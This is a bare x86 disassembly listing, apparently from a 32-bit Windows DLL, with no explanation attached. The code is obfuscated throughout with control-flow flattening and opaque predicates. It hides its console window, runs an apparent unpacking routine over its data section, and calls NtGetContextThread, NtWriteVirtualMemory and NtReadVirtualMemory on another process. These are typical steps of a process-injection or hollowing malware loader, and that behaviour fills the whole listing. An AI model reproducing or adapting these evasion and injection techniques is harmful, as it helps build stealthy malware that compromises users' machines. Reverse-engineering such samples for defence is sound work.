jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb21aed23
mov ecx, 0xcf718533
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov ecx, dword [0x1006f088]
mov eax, dword [0x1006f084]
mov edx, ecx
sub edx, 0x54277560
sub edx, 1
add edx, 0x54277560
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x608bc2cf
mov ecx, 0x155f3e38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0xd91bed87
jmp 0x1000fe17
mov eax, dword [ebp - 0x174]
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x1a8], 0xdea38ee8
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0xaf952b31
jmp 0x1000fe17
mov eax, dword [ebp - 0x15c]
mov dword [eax], 0
mov dword [ebp - 0x1a8], 0x7a87e70d
jmp 0x1000fe17
mov ax, word [ebp - 0xa0]
mov eax, dword [0x1006f088]
mov ecx, dword [0x1006f084]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7480227a
mov ecx, 0xb2c717de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x1000fe17
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x1a8], 0x49eb74f8
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0xcf718533
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0x5eb2dc4e
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0xe741e35c
jmp 0x1000fe17
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001370
add esp, 4
lea eax, [0x1001b1d1]
sub esp, 4
mov dword [esp], eax
call fcn.10001370
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4ce00
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x1a8], 0xa9555615
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0x5391e659
jmp 0x1000fe17
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x118]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x1a8], 0x5454ef37
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0x99613ca0
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0xd61b7b31
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0x9714d878
jmp 0x1000fe17
mov ecx, dword [ebp - 0x198]
add ecx, 0x4b09cb84
add ecx, 8
sub ecx, 0x4b09cb84
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x1a8], 0x7a8622cb
jmp 0x1000fe17
mov dword [ebp - 0x1a8], 0xfd554353
jmp 0x1000fe17
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1a8], 0xd566f01e
jmp 0x1000fe17
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x9c]
add ecx, 0xf78c7458
add ecx, eax
sub ecx, 0xf78c7458
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov edx, dword [ebp - 0x15c]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
add ecx, 0x4191a429
add ecx, eax
sub ecx, 0x4191a429
mov eax, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x154]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov dword [ebp - 0x1a8], 0xf23e430f
jmp 0x1000fe17
jmp 0x10008870